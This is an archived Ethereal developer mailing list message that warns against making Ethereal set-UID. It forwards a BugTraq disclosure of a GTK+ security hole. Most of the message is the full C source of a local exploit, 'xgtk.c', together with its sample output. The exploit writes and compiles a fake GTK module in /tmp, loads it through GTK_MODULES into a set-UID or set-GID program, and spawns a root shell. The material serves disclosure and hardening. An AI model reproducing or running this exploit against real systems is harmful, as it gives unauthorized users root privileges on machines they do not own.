Ethereal-dev: [Ethereal-dev] Set-UID (and set-GID) GTK+ programs are insecure

Note: This archive is from the project's previous web site, ethereal.com. This list is no longer active.

From: Guy Harris <gharris@xxxxxxxxxxxx>
Date: Tue, 2 Jan 2001 17:00:28 -0800
Why you might not want to make Ethereal set-UID:

From: Erik Mouw <J.A.K.Mouw@xxxxxxxxxxxxxx>
To: gtk-devel-list@xxxxxxxxx
Subject: Fwd: gtk+ security hole.
Organization: Eric Conspiracy Secret Labs

Hi all,

This came by on the BugTraq mailing list. Pity that the original poster
didn't take this to the gtk-devel list.

I replied to the original message stating that suid GTK+ programs are
discouraged. Don't know if the moderator will let my reply through,
though.


Erik

----- Forwarded message from Chris Sharp <v9@xxxxxxxxxxxx> -----

From: Chris Sharp <v9@xxxxxxxxxxxx>
To: BUGTRAQ@xxxxxxxxxxxxxxxxx
Date:         Tue, 2 Jan 2001 00:15:35 -0000
Subject:      gtk+ security hole.

while going through a quick audit of gtk i found:

gtk+ can be tricked into running arbitrary code
via a bogus module.  this means any program using
gtk that is set*id can be exploited via this
method.  here is an exploit i wrote for this
security hole:


original xgtk.c(working/un-wrapped):
http://realhalo.org/xgtk.c


xgtk.c:
/* (*)gtk+[v*] local module exploit, by
v9[v9@xxxxxxxxxxxx].  this will give
   you the euid/egid of a set*id program using
gtk+.  this exploit works via
   the GTK_MODULES environmental variable, by
tricking gtk to execute arbitrary
   functions/commands with a bogus module. (using
gtk_module_init())

   example(./xgtk):
-------------------------------------------------------------------------------
# ls -l /usr/bin/X11/gtk_program
-rwxr-sr-x   1 root     tty        437625 Oct 23 
1999 /usr/bin/X11/gtk_program
# cc xgtk.c -o xgtk
# ./xgtk /usr/bin/X11/gtk_program :0.0
[ (*)gtk+[v*] local module exploit, by
v9[v9@xxxxxxxxxxxx]. ]
[ program: /usr/bin/X11/gtk_program(->/bin/sh),
display: :0.0. ]

[*] making module for gtk+ to execute.
(/tmp/gtkm.c)
[*] done, compiling module source file.
(/tmp/gtkm.c->/tmp/gtkm.so)
[*] done, checking to see if the module comiled.
(/tmp/gtkm.so)
[*] done, setting up the environment.
(module&display)
[*] done, executing /usr/bin/X11/gtk_program, the
module should load now.
[*] success, module loaded successfully.
[*] id stats: uid: 0, euid: 0, gid: 0, egid: 5.
[*] now executing: /bin/sh.
# 
-------------------------------------------------------------------------------

   note: this will require a valid display to
exploit successfully.  also, i'm
         unsure of this for other gtk versions, i
would just assume as much
         that this applies to it.
*/
#define GCCPATH "/usr/bin/gcc"  // path to gcc.
#define SRCFILE "/tmp/gtkm.c"   // source to the
fake module to load.
#define MODEXEC "/tmp/gtkm.so"  // fake module to
load.
#define DISPLAY ":0.0"          // default
display. (also argv option)
#define EXECUTE "/bin/sh"       // execute this
program.
#include <stdio.h>
#include <sys/stat.h>
int main(int argc,char **argv){
 char cmd[256],syscmd[256],display[256];
 struct stat mod1,mod2,mod3;
 FILE *source;
 fprintf(stderr,"[ (*)gtk+[v*] local module
exploit, by v9[v9@xxxxxxxxxxxx]. ]"
 "\n");
 if(argc>1){strncpy(cmd,argv[1],sizeof(cmd));}
 else{
  fprintf(stderr,"[!] syntax: %s
</path/to/program> [display]\n",argv[0]);
  exit(-1);
 }

if(argc>2){strncpy(display,argv[2],sizeof(display));}
 else{strncpy(display,DISPLAY,sizeof(display));}
 if(stat(cmd,&mod1)){
  fprintf(stderr,"[!] failed, %s doesn't seem to
exist. (path needed)\n",cmd);
  exit(-1);
 }
 if(stat(GCCPATH,&mod2)){
  fprintf(stderr,"[!] failed, %s compiler doesn't
seem to exist.\n",GCCPATH);
  exit(-1);
 }
 fprintf(stderr,"[ program: %s(->%s), display: %s.
]\n\n",cmd,EXECUTE,display);
 fprintf(stderr,"[*] making module for gtk+ to
execute. (%s)\n",SRCFILE);
 unlink(SRCFILE);
 unlink(MODEXEC);
 source=fopen(SRCFILE,"w");
 fprintf(source,"#include <stdio.h>\n");
 fprintf(source,"void gtk_module_init(){\n");
 fprintf(source," unlink(\"%s\");\n",SRCFILE);
 fprintf(source," unlink(\"%s\");\n",MODEXEC);
 fprintf(source," fprintf(stderr,\"[*] success,
module loaded successfully.\\n"
 "\");\n");
 fprintf(source," fprintf(stderr,\"[*] id stats:
uid: %%d, euid: %%d, gid: %%d"
 ", egid:
%%d.\\n\",getuid(),geteuid(),getgid(),getegid());\n",EXECUTE);
 fprintf(source," fprintf(stderr,\"[*] now
executing: %s.\\n\");\n",EXECUTE);
 fprintf(source,"
execl(\"%s\",\"%s\",0);\n",EXECUTE,EXECUTE);
 fprintf(source,"}\n");
 fclose(source);
 fprintf(stderr,"[*] done, compiling module source
file. (%s->%s)\n",SRCFILE,
 MODEXEC);
 snprintf(syscmd,sizeof(syscmd),"%s -shared -o %s
%s 1>/dev/null 2>&1",GCCPATH,
 MODEXEC,SRCFILE);
 system(syscmd);
 fprintf(stderr,"[*] done, checking to see if the
module comiled. (%s)\n",
 MODEXEC);
 if(stat(MODEXEC,&mod3)){
  fprintf(stderr,"[!] failed, %s was not compiled
properly. (gcc failed)\n",
  MODEXEC);
  exit(-1);
 }
 fprintf(stderr,"[*] done, setting up the
environment. (module&display)\n");
 setenv("GTK_MODULES",MODEXEC,1);
 setenv("DISPLAY",display,1);
 fprintf(stderr,"[*] done, executing %s, the
module should load now.\n",cmd);
 if(execl(cmd,cmd,0)){
  fprintf(stderr,"[!] failed, %s did not execute
properly.\n",cmd);
  unlink(SRCFILE);
  unlink(MODEXEC);
  exit(-1);
 }
}

Vade79 -> v9@xxxxxxxxxxxx -> www.fakehalo.org.

----- End forwarded message -----

-- 
J.A.K. (Erik) Mouw, Information and Communication Theory Group, Department
of Electrical Engineering, Faculty of Information Technology and Systems,
Delft University of Technology, PO BOX 5031,  2600 GA Delft, The Netherlands
Phone: +31-15-2783635  Fax: +31-15-2781843  Email: J.A.K.Mouw@xxxxxxxxxxxxxx
WWW: http://www-ict.its.tudelft.nl/~erik/

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